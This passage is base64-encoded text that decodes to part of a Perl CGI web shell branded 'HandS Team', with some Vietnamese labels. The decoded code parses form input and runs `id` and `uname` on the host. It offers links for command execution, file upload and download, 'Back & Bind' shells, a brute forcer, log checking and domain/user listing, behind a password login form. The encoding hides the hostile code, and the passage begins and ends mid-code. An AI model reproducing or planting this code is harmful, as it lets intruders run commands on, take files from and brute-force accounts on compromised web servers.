aV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7CglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPiRFTlZ7J1NFUlZFUl9OQU1FJ30gfCBJUCA6ICRFTlZ7J1NFUlZFUl9BRERSJ30gPC90aXRsZT4KJEh0bWxNZXRhSGVhZGVyCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmOwp9CnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7Cn0KI2RvbWFpbiB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKfQp0ZCB7CmNvbG9yOiAjZmZmZmZmOwp9Ci5saXN0ZGlyIHRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Ci5saXN0ZGlyIHRoewoJY29sb3I6IDAwRkYwMDsKfQouZGlyLC5maWxlCnsKCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC1zaXplOiAxMHB0OyAKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CnRhYmxlIHsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQppbnB1dCB7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogMDBGRjAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogMDBGRjAwOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoubGlzdGRpciB0cjpob3ZlcnsKCWJhY2tncm91bmQ6ICM0NDQ7Cn0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7CgliYWNrZ3JvdW5kOiAjNDQ0OwoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsKfQoubm90bGluZXsKCWJhY2tncm91bmQ6ICMxMTE7Cn0KLmxpbmV7CgliYWNrZ3JvdW5kOiAjMjIyOwp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpCnsKCXZhciBlID0gIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG5hbWUpOwoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPgoJCTxiPjxmb250IHNpemU9IjMiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoJPHRkPgoJCSRpbmZvCgk8L3RkPgoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0icmVkIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0icmVkIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250PgoJPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VCYjNzg0MztpIFh1JiM3ODg5O25nIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPiYjMjcyOyYjMjU5O25nIFh1JiM3ODQ1O3Q8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKCk0mIzc4NTM7dCBLaCYjNzg0OTt1Ojxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+Ck0mIzc4NTM7dCBLaCYjNzg0OTt1OiBIYW5kU1RlYW08YnI+Ck0mIzc4NTM7dCBLaCYjNzg0OTt1OjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPTAwRkYwMD5FZGl0ZWQgYnkg